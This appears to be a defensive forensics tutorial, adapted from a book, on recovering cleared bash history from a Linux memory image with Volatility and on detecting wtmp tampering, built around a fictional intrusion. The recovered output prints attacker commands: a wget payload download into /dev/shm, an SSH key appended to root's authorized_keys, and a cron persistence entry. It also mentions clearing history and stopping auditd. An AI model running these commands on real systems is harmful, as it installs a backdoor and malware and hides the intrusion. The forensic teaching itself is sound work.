history -c didn't erase it: recovering bash history from memory

The scenario is fictional (RFC 5737 IPs). Volatility and auditd output come from the book and weren't run here. Follow evidence-handling procedures when acquiring memory.

Part 1 said the attacker emptied .bash_history; part 6 said history -c itself is recorded by auditd. There is one more place attackers forget.

What you'll learn

• Why shell history survives in RAM
• Reconstructing commands with linux.bash
• A trust ranking of records
• Detecting wtmp tampering

The story at a glance

02:20-02:40 root session; 02:40 history -c plus systemctl stop auditd; afterwards .bash_history is empty and auditd is blind, but a live bash process (PID 2411) is still in memory.

Why it survives

bash keeps history in process memory and writes the file on exit. Deleting the file or running history -c doesn't wipe the live process's memory.

vol -f web03_mem.lime linux.bash

PID 2411 bash  wget http://198.51.100.5/x -O /dev/shm/.update
PID 2411 bash  echo "ssh-ed25519 AAAA... attacker" >> /root/.ssh/authorized_keys
PID 2411 bash  (echo '* * * * * /dev/shm/.update') | crontab -

The payload drop, the key and the cron entry we reconstructed from other traces, in the attacker's own words.

Trust ranking

Memory is the most volatile evidence: acquire it before any reboot or kill.

Telling legitimate scripts apart

Legit: auid set, operations user, managed repository. Attack: auid unset, www-data, external C2, drop into /dev/shm.

Bonus: wtmp tampering

last -f /var/log/wtmp
lastb -f /var/log/btmp
utmpdump /var/log/wtmp | head   # time going backwards, gaps, corrupt records = tampering

Cross-check with auth.log, journald and authorized_keys.

Next: detection rules should target what attackers can't change.

Adapted from chapter 30 of my Japanese book on server defense.